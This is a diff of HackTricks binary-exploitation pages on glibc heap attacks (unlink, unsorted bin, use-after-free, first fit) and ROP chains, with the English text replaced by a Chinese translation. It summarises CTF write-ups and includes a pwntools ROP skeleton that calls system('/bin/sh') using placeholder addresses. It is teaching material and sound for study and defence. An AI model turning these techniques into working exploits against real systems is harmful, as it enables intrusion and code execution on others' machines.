- - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
- - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
- - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- - There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
+- 尽管在 CTF 中发现 unlink 攻击会很奇怪,但这里有一些使用此攻击的写作:
+- CTF 示例:[https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
+- 在这个例子中,栈中有一个 malloc 的地址数组。执行 unlink 攻击以能够在这里分配一个块,因此能够控制 malloc 地址数组的指针。然后,还有另一个功能允许修改这些地址中块的内容,这允许将地址指向 GOT,修改函数地址以获取泄漏和 RCE。
+- 另一个 CTF 示例:[https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
+- 就像在前一个例子中一样,有一个分配地址的数组。可以执行 unlink 攻击,使指向第一个分配的地址指向数组开始之前的几个位置,并在新位置覆盖此分配。因此,可以覆盖其他分配的指针,使其指向 atoi 的 GOT,打印以获取 libc 泄漏,然后用一个 gadget 的地址覆盖 atoi GOT。
+- CTF 示例,具有自定义 malloc 和 free 函数,利用与 unlink 攻击非常相似的漏洞:[https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
+- 有一个溢出,允许控制将被(自定义)释放的 FD 和 BK 指针。此外,堆具有执行位,因此可以泄漏堆地址并将函数从 GOT 指向具有 shellcode 的堆块以执行。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index 65d509c48..d575b4c92 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -4,70 +4,70 @@
## Basic Information
-For more information about what is an unsorted bin check this page:
+有关未排序的 bin 的更多信息,请查看此页面:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
+未排序列表能够将地址写入 `unsorted_chunks (av)` 的块的 `bk` 地址。因此,如果攻击者能够**修改未排序 bin 中块的 `bk` 指针的地址**,他就能够**将该地址写入任意地址**,这可能有助于泄露 Glibc 地址或绕过某些防御。
-So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
+所以,基本上,这种攻击允许**在任意地址设置一个大数字**。这个大数字是一个地址,可能是堆地址或 Glibc 地址。一个典型的目标是**`global_max_fast`**,以允许创建更大尺寸的快速 bin(并从未排序 bin 攻击转到快速 bin 攻击)。
> [!TIP]
-> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
+> 查看在 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) 中提供的示例,并使用 0x4000 和 0x5000 代替 0x400 和 0x500 作为块大小(以避免 Tcache),可以看到**如今**错误**`malloc(): unsorted double linked list corrupted`**被触发。
>
-> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
+> 因此,这种未排序 bin 攻击现在(除了其他检查)还需要能够修复双向链表,以便绕过 `victim->bk->fd == victim` 或 `victim->fd == av (arena)`,这意味着我们想要写入的地址必须在其 `fd` 位置具有假块的地址,并且假块的 `fd` 指向 arena。
> [!CAUTION]
-> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
+> 请注意,这种攻击会破坏未排序 bin(因此小和大也会)。所以我们现在只能**使用来自快速 bin 的分配**(更复杂的程序可能会进行其他分配并崩溃),并且要触发这一点,我们必须**分配相同的大小,否则程序将崩溃。**
>
-> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
+> 请注意,覆盖**`global_max_fast`**可能在这种情况下有所帮助,前提是快速 bin 能够处理所有其他分配,直到利用完成。
-The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
+来自 [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) 的代码解释得很好,尽管如果你修改 malloc 以分配足够大的内存以避免 Tcache,你会看到之前提到的错误出现,阻止这种技术:**`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack
-This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
-Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
+这实际上是一个非常基本的概念。未排序 bin 中的块将具有指针。未排序 bin 中的第一个块实际上将具有**`fd`**和**`bk`**链接**指向主 arena(Glibc)的一部分**。\
+因此,如果你能够**将一个块放入未排序 bin 并读取它**(使用后释放)或**再次分配它而不覆盖至少 1 个指针**,然后**读取**它,你就可以获得**Glibc 信息泄露**。
-A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
-Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
+在这个 [**写作中使用的类似攻击**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)中,利用了一个 4 块结构(A、B、C 和 D - D 仅用于防止与顶部块合并),因此在 B 中使用了一个空字节溢出,使 C 指示 B 未使用。此外,在 B 中修改了 `prev_size` 数据,因此大小不是 B 的大小,而是 A+B。\
+然后 C 被释放,并与 A+B 合并(但 B 仍在使用中)。分配了一个大小为 A 的新块,然后将泄露的 libc 地址写入 B,从而泄露了它们。
## References & Other examples
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
- - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
- - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
- - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
- - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
+- 目标是用大于 4869 的值覆盖全局变量,以便能够获取标志,并且未启用 PIE。
+- 可以生成任意大小的块,并且存在所需大小的堆溢出。
+- 攻击开始创建 3 个块:chunk0 用于利用溢出,chunk1 用于被溢出,chunk2 以防止顶部块合并之前的块。
+- 然后,chunk1 被释放,chunk0 被溢出到 chunk1 的 `bk` 指针指向:`bk = magic - 0x10`
+- 然后,分配一个与 chunk1 相同大小的 chunk3,这将触发未排序 bin 攻击并修改全局变量的值,从而使获取标志成为可能。
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
- - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
- - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
- - As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
- - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
- - Now a **fast bin attack** is performed:
- - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- -
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- - Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- - Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
- - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
+- 合并函数是脆弱的,因为如果传递的两个索引相同,它将对其进行重新分配,然后释放它,但返回指向该释放区域的指针,可以使用。
+- 因此,**创建了 2 个块**:**chunk0** 将与自身合并,chunk1 以防止与顶部块合并。然后,**合并函数被调用两次与 chunk0**,这将导致使用后释放。
+- 然后,**`view`** 函数被调用,索引为 2(即使用后释放块的索引),这将**泄露一个 libc 地址**。
+- 由于二进制文件具有保护措施,仅允许 malloc 大于 **`global_max_fast`** 的大小,因此不使用快速 bin,将使用未排序 bin 攻击来覆盖全局变量 `global_max_fast`。
+- 然后,可以调用编辑函数,索引为 2(使用后释放指针),并将 `bk` 指针覆盖为指向 `p64(global_max_fast-0x10)`。然后,创建一个新块将使用之前被破坏的释放地址(0x20),将**触发未排序 bin 攻击**,覆盖 `global_max_fast`,这是一个非常大的值,现在允许在快速 bin 中创建块。
+- 现在执行**快速 bin 攻击**:
+- 首先发现可以在**`__free_hook`**位置处理大小为 200 的快速**块**:
+-
+- 如果我们设法在此位置获得大小为 0x200 的快速块,将能够覆盖将被执行的函数指针。
+- 为此,创建一个大小为 `0xfc` 的新块,并用该指针调用合并函数两次,这样我们就获得了指向大小为 `0xfc*2 = 0x1f8` 的释放块的指针。
+- 然后,在此块中调用编辑函数以修改此快速 bin 的**`fd`**地址,使其指向之前的**`__free_hook`**函数。
+- 然后,创建一个大小为 `0x1f8` 的块,以从快速 bin 中检索之前无用的块,因此创建另一个大小为 `0x1f8` 的块,以在**`__free_hook`**中获取快速 bin 块,该块被覆盖为**`system`**函数的地址。
+- 最后,释放一个包含字符串 `/bin/sh\x00` 的块,调用删除函数,触发**`__free_hook`**函数,该函数指向 system,参数为 `/bin/sh\x00`。
+- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
+- 另一个利用 1B 溢出以合并未排序 bin 中的块并获取 libc 信息泄露的示例,然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- - We can only allocate chunks of size greater than `0x100`.
- - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
+- 我们只能分配大于 `0x100` 的块。
+- 使用未排序 bin 攻击覆盖 `global_max_fast`(由于 ASLR,成功率为 1/16,因为我们需要修改 12 位,但必须修改 16 位)。
+- 快速 bin 攻击以修改全局块数组。这提供了一个任意读/写原语,允许修改 GOT 并设置某些函数指向 `system`。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md
index d6fd34f42..2a8fbd6f1 100644
--- a/src/binary-exploitation/libc-heap/use-after-free/README.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/README.md
@@ -2,16 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
+顾名思义,这种漏洞发生在程序**为一个对象在堆中分配了一些空间**,**在其中写入**一些信息,**释放**它显然是因为不再需要,然后**再次访问**它。
-The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
+这里的问题是,访问**已释放的内存**并不是非法的(**不会出现错误**)。因此,如果程序(或攻击者)设法**分配已释放的内存并存储任意数据**,当从初始指针访问已释放的内存时,**数据将被覆盖**,导致一个**漏洞,这将取决于原始存储数据的敏感性**(如果它是一个即将被调用的函数的指针,攻击者可能会控制它)。
-### First Fit attack
+### First Fit 攻击
-A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
-Check more info in:
+First fit 攻击针对一些内存分配器(如 glibc)管理已释放内存的方式。当你释放一块内存时,它会被添加到一个列表中,新的内存请求从列表的末尾提取。攻击者可以利用这种行为来操纵**哪些内存块被重用,从而可能控制它们**。这可能导致“use-after-free”问题,攻击者可以**更改被重新分配的内存的内容**,从而造成安全风险。\
+查看更多信息:
{{#ref}}
first-fit.md
diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
index 7bab07aea..81e20f28d 100644
--- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
@@ -4,36 +4,33 @@
## **First Fit**
-When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
+当你在程序中使用 glibc 释放内存时,会使用不同的“桶”来管理内存块。以下是两种常见场景的简化解释:未排序桶和快速桶。
### Unsorted Bins
-When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
+当你释放一个不是快速块的内存块时,它会进入未排序桶。这个桶就像一个列表,新释放的块被添加到前面(“头”)。当你请求一个新的内存块时,分配器从后面(“尾”)查看未排序桶,以找到一个足够大的块。如果未排序桶中的块大于你所需的大小,它会被拆分,前面的部分被返回,剩余的部分留在桶中。
-Example:
-
-- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
-- When you free `a`, it goes to the unsorted bin.
-- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- - `c` will be pointing to the previous `a` and filled with the `a's`.
+示例:
+- 你分配 300 字节(`a`),然后 250 字节(`b`),释放 `a` 并再次请求 250 字节(`c`)。
+- 当你释放 `a` 时,它进入未排序桶。
+- 如果你再次请求 250 字节,分配器在尾部找到 `a` 并将其拆分,返回适合你请求的部分,并将其余部分保留在桶中。
+- `c` 将指向之前的 `a` 并填充 `a` 的内容。
```c
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);
```
-
### Fastbins
-Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
+Fastbins用于小内存块。与未排序的bins不同,fastbins将新块添加到头部,创建后进先出(LIFO)行为。如果您请求一个小内存块,分配器将从fastbin的头部提取。
-Example:
-
-- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
-- When you free them in any order, the freed chunks are added to the fastbin's head.
-- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
+示例:
+- 您分配四个20字节的块(`a`,`b`,`c`,`d`)。
+- 当您以任何顺序释放它们时,释放的块会被添加到fastbin的头部。
+- 如果您随后请求一个20字节的块,分配器将从fastbin的头部返回最近释放的块。
```c
char *a = malloc(20);
char *b = malloc(20);
@@ -48,17 +45,16 @@ b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
-
-## Other References & Examples
+## 其他参考资料与示例
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- - ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
+- ARM64. 使用后释放:生成一个用户对象,释放它,生成一个获取已释放块的对象并允许写入,**覆盖之前的 user->password 位置**。重用用户以**绕过密码检查**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- - The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\) with the contents of the note.
- - The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
- - Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
+- 该程序允许创建笔记。笔记将包含在 malloc(8) 中的笔记信息(带有可以调用的函数指针)和指向另一个 malloc(\) 的指针,后者包含笔记的内容。
+- 攻击将是创建 2 个笔记(note0 和 note1),其 malloc 内容大于笔记信息大小,然后释放它们以使其进入快速 bin(或 tcache)。
+- 然后,创建另一个笔记(note2),内容大小为 8。内容将位于 note1 中,因为该块将被重用,我们可以修改函数指针以指向 win 函数,然后使用后释放 note1 来调用新的函数指针。
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- - It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
+- 可以分配一些内存,写入所需值,释放它,重新分配它,由于之前的数据仍然存在,它将根据块中的新预期结构进行处理,从而可以设置值以获取标志。
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
+- 在这种情况下,需要在特定块中写入 4,该块是第一个被分配的块(即使在强制释放所有块后)。在每个新分配的块中,其在数组索引中的编号被存储。然后,分配 4 个块(+ 最初分配的),最后一个块将包含 4,释放它们并强制重新分配第一个块,这将使用最后释放的块,即包含 4 的块。
diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md
index 29e21bca5..918ee690a 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/README.md
@@ -2,45 +2,44 @@
{{#include ../../banners/hacktricks-training.md}}
-## **Basic Information**
+## **基本信息**
-**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
+**返回导向编程 (ROP)** 是一种高级利用技术,用于绕过 **无执行 (NX)** 或 **数据执行防护 (DEP)** 等安全措施。攻击者利用二进制文件或已加载库中已经存在的代码片段,称为 **"gadgets"**,而不是注入和执行 shellcode。每个 gadget 通常以 `ret` 指令结束,并执行小的操作,例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起,攻击者可以构造一个有效绕过 NX/DEP 保护的有效负载,以执行任意操作。
-### How ROP Works
+### ROP 的工作原理
-1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
-2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
-3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
+1. **控制流劫持**:首先,攻击者需要劫持程序的控制流,通常通过利用缓冲区溢出来覆盖栈上的保存返回地址。
+2. **Gadget 链接**:攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及为函数调用设置参数,调用函数(例如 `system("/bin/sh")`),并处理任何必要的清理或附加操作。
+3. **有效负载执行**:当易受攻击的函数返回时,而不是返回到合法位置,它开始执行 gadgets 链。
-### Tools
+### 工具
-Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
+通常,可以使用 [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget)、[**ropper**](https://github.com/sashs/Ropper) 或直接从 **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) 找到 gadgets。
-## ROP Chain in x86 Example
+## x86 示例中的 ROP 链
-### **x86 (32-bit) Calling conventions**
+### **x86 (32位) 调用约定**
-- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
-- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
+- **cdecl**:调用者清理栈。函数参数以相反的顺序(从右到左)推送到栈上。**参数从右到左推送到栈上。**
+- **stdcall**:与 cdecl 类似,但被调用者负责清理栈。
-### **Finding Gadgets**
+### **查找 Gadgets**
-First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
+首先,假设我们已经在二进制文件或其加载的库中识别了必要的 gadgets。我们感兴趣的 gadgets 包括:
-- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
-- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
-- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
-- Additionally, we have the address of the `system()` function available.
+- `pop eax; ret`:这个 gadget 将栈顶的值弹出到 `EAX` 寄存器中,然后返回,使我们能够控制 `EAX`。
+- `pop ebx; ret`:与上述类似,但针对 `EBX` 寄存器,使我们能够控制 `EBX`。
+- `mov [ebx], eax; ret`:将 `EAX` 中的值移动到 `EBX` 指向的内存位置,然后返回。这通常被称为 **write-what-where gadget**。
+- 此外,我们还有 `system()` 函数的地址可用。
-### **ROP Chain**
+### **ROP 链**
-Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
-
-1. A `ret` instruction for alignment purposes (optional)
-2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
-3. Placeholder for the return address from `system()`
-4. `"/bin/sh"` string address (parameter for system function)
+使用 **pwntools**,我们准备栈以执行 ROP 链,目标是执行 `system('/bin/sh')`,注意链的开始:
+1. 为对齐目的的 `ret` 指令(可选)
+2. `system` 函数的地址(假设 ASLR 被禁用且已知 libc,更多信息见 [**Ret2lib**](ret2lib/))
+3. `system()` 的返回地址占位符
+4. `"/bin/sh"` 字符串地址(system 函数的参数)
```python
from pwn import *
@@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain
rop_chain = [
- ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
- system_addr, # Address of system(). Execution will continue here after the ret gadget
- 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
- bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
+ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
+system_addr, # Address of system(). Execution will continue here after the ret gadget
+0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
+bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
@@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
+## ROP Chain in x64 示例
-## ROP Chain in x64 Example
+### **x64 (64位) 调用约定**
-### **x64 (64-bit) Calling conventions**
+- 在类Unix系统上使用 **System V AMD64 ABI** 调用约定,其中 **前六个整数或指针参数通过寄存器 `RDI`, `RSI`, `RDX`, `RCX`, `R8` 和 `R9` 传递**。额外的参数通过栈传递。返回值放在 `RAX` 中。
+- **Windows x64** 调用约定使用 `RCX`, `RDX`, `R8` 和 `R9` 作为前四个整数或指针参数,额外的参数通过栈传递。返回值放在 `RAX` 中。
+- **寄存器**:64位寄存器包括 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` 和 `R8` 到 `R15`。
-- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
-- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
-- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
+#### **查找小工具**
-#### **Finding Gadgets**
+为了我们的目的,让我们专注于可以让我们设置 **RDI** 寄存器(将 **"/bin/sh"** 字符串作为参数传递给 **system()**)并调用 **system()** 函数的小工具。我们假设我们已经识别出以下小工具:
-For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
+- **pop rdi; ret**:将栈顶值弹出到 **RDI** 中,然后返回。对于设置 **system()** 的参数至关重要。
+- **ret**:一个简单的返回,在某些情况下对栈对齐很有用。
-- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
-- **ret**: A simple return, useful for stack alignment in some scenarios.
+我们知道 **system()** 函数的地址。
-And we know the address of the **system()** function.
-
